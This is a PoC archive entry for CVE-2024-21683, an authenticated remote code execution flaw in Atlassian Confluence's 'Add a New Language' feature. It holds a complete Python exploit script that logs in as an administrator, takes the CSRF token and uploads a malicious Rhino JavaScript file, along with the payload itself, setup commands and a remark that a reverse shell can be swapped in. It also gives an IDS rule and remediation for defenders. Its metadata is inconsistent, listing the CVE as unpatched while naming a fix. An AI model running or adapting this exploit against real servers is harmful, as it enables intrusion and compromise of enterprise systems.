PoC Archive PoC Archive
High CVE-2024-21683 unpatched

Confluence Post-Auth RCE - CVE-2024-21683

by W01fh4cker (credit to realalphaman_ for original research) · 2026-05-17

CVSS 8.3/10
Severity
High
CVE
CVE-2024-21683
Category
web
Affected product
Atlassian Confluence Data Center and Server
Affected versions
All versions before the May 2024 security patch; exact range per Atlassian advisory
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2024-05-27
Author / ResearcherW01fh4cker (credit to realalphaman_ for original research)
CVE / AdvisoryCVE-2024-21683
Categoryweb
SeverityHigh
CVSS Score8.3 (CVSSv3)
StatusWeaponized
TagsRCE, Confluence, post-auth, Rhino, JavaScript, Java, deserialization, Metasploit, red-team
RelatedN/A

Affected Target

FieldValue
Software / SystemAtlassian Confluence Data Center and Server
Versions AffectedAll versions before the May 2024 security patch; exact range per Atlassian advisory
Language / PlatformJava / Rhino JavaScript engine (RhinoLanguageParser)
Authentication RequiredYes (Confluence administrator account required)
Network Access RequiredYes

Summary

CVE-2024-21683 is an authenticated Remote Code Execution vulnerability in Atlassian Confluence Data Center and Server affecting the “Add a New Language” feature in the Code Macro plugin. An authenticated Confluence administrator can upload a malicious .js file via the /admin/plugins/newcode/addlanguage.action endpoint, which is parsed by the RhinoLanguageParser (Mozilla Rhino JavaScript engine). Because Rhino can instantiate Java objects, the uploaded script can execute arbitrary Java code (e.g., new java.lang.ProcessBuilder(["calc.exe"]).start()), achieving RCE in the context of the Confluence server process. A Metasploit module is available.


Vulnerability Details

Root Cause

The Confluence Code Macro plugin’s “Add a New Language” feature allows administrators to upload a JavaScript file defining syntax highlighting rules. The file is processed by Mozilla Rhino (RhinoLanguageParser), which has full access to the Java runtime via its interoperability layer. There is no sandboxing or restriction on the Java classes that can be instantiated from Rhino scripts, allowing an attacker to call java.lang.ProcessBuilder or java.lang.Runtime.exec() directly from the uploaded script, resulting in OS command execution.

Attack Vector

  1. Authenticate to Confluence as an administrator account.
  2. Retrieve the atlassian-token (CSRF token) from /admin/plugins/newcode/configure.action.
  3. Perform the administrative authentication step via /doauthenticate.action.
  4. POST a malicious .js file to /admin/plugins/newcode/addlanguage.action using the languageFile multipart field with newLanguageName and the CSRF token.

Impact

Remote Code Execution as the Confluence server process user. While authentication is required (reducing the attack surface), Confluence administrators are common in enterprise environments and credentials may be obtained via phishing, credential stuffing, or other means. Full OS command execution allows data exfiltration, backdoor installation, and lateral movement.


Environment / Lab Setup

OS:          Linux or Windows
Target:      Atlassian Confluence Server (pre-May 2024 patch), e.g. via Atlassian Docker image
Attacker:    Any system with Python 3 + requests + bs4
Tools:       Python 3, requests, beautifulsoup4
Credentials: Confluence admin username and password

Setup Steps

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pip install requests bs4

git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE
cd CVE-2024-21683-RCE
python CVE-2024-21683.py \
  -u http://192.168.198.1:8090 \
  -au admin -ap admin \
  -f exploit.js \
  -n test \
  -p http://127.0.0.1:8083

Proof of Concept

Step-by-Step Reproduction

  1. Log in as admin - Authenticate to Confluence and retrieve CSRF token

    1
    
    # Handled automatically by CVE-2024-21683.py
    
  2. Upload malicious JS file - POST exploit.js via addlanguage.action

    1
    
    python CVE-2024-21683.py -u http://target:8090 -au admin -ap admin -f exploit.js -n test
    
  3. Verify execution - Calculator (or other payload) executes on the server

Exploit Code

See CVE-2024-21683.py and exploit.js in this folder.

1
2
3
4
files = {"languageFile": ("exploit.js", js_content, "text/javascript")}
data = {"atl_token": alt_token, "newLanguageName": "test"}
session.post(f"{url}/admin/plugins/newcode/addlanguage.action",
             data=data, files=files, verify=False)
1
2
// exploit.js - Rhino executes Java directly
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

Expected Output


Screenshots / Evidence

  • Upstream repo includes a screenshot of successful exploitation (external CDN link).

Detection & Indicators of Compromise

POST /admin/plugins/newcode/addlanguage.action HTTP/1.1

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"CVE-2024-21683 Confluence RCE - Malicious Language Upload"; content:"POST"; http_method; content:"/admin/plugins/newcode/addlanguage.action"; http_uri; content:"languageFile"; http_client_body; sid:9000013;)

Remediation

ActionDetail
PatchApply Atlassian’s May 2024 security patch. Check the official advisory for exact fixed version numbers.
WorkaroundRestrict access to /admin/ endpoints to trusted IP ranges only; apply the principle of least privilege to Confluence admin accounts; enable MFA for admin accounts.
Config HardeningDisable the Code Macro plugin’s “Add a New Language” feature if not required; audit admin account list and revoke unnecessary privileges.

References


Notes

Post-authentication RCE requiring Confluence admin credentials. The attack surface is reduced compared to unauthenticated CVEs but remains significant in enterprise environments where admin credentials may be compromised or shared. The exploit.js payload in this repo spawns calc.exe as a proof of concept; it can trivially be replaced with a reverse shell payload. A Metasploit module for this CVE is separately available. Stars: 128, Forks: 33. Language: Python. Topics: confluence, cve-2024-21683, redteam.

Auto-ingested from https://github.com/W01fh4cker/CVE-2024-21683-RCE on 2026-05-17.

CVE-2024-21683.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import argparse
import os

import requests
from bs4 import BeautifulSoup

def GeyAltToken(url, proxy, session):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    alttoken_url = f"{url}/admin/plugins/newcode/configure.action"
    resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20)
    if "atlassian-token" in resp.text:
        soup = BeautifulSoup(resp.text, 'html.parser')
        meta_tag = soup.find('meta', {'id': 'atlassian-token', 'name': 'atlassian-token'})
        if meta_tag:
            content_value = meta_tag.get('content')
            return content_value

        else:
            print("Meta tag not found")

def LoginAsAdministrator(session, url, proxy, username, password):
    login_url = url + "/dologin.action"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F"
    session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)

def DoAuthenticate(session, url, proxy, password, alt_token):
    login_url = url + "/doauthenticate.action"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action"
    session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)

def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token):
    url = f"{url}/admin/plugins/newcode/addlanguage.action"
    data = {
        "atl_token": alt_token,
        "newLanguageName": "test"
    }
    files = {
        "languageFile": (
        jsFilename, jsFileContent, "text/javascript")
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20)

def ParseArgs():
    parser = argparse.ArgumentParser(description="CVE-2024-21683-RCE")
    parser.add_argument("-u", "--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True)
    parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
    parser.add_argument("-au", "--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True)
    parser.add_argument("-ap", "--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True)
    parser.add_argument("-f", "--file", type=str, help="exploit file", default="exploit.js", required=True)
    parser.add_argument("-n", "--name", type=str, help="newLanguageName", default="test", required=True)
    return parser.parse_args()

if __name__ == '__main__':
    args = ParseArgs()
    if not args.proxy:
        proxy = {}
    else:
        proxy = {
            "http": args.proxy,
            "https": args.proxy
        }
    session = requests.session()
    jsfn = os.path.basename(args.file)
    jsfc = open(args.file, "r", encoding="utf-8").read()
    LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password)
    alt_token = GeyAltToken(args.url.strip("/"), proxy, session)
    DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_password, alt_token)
    UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token)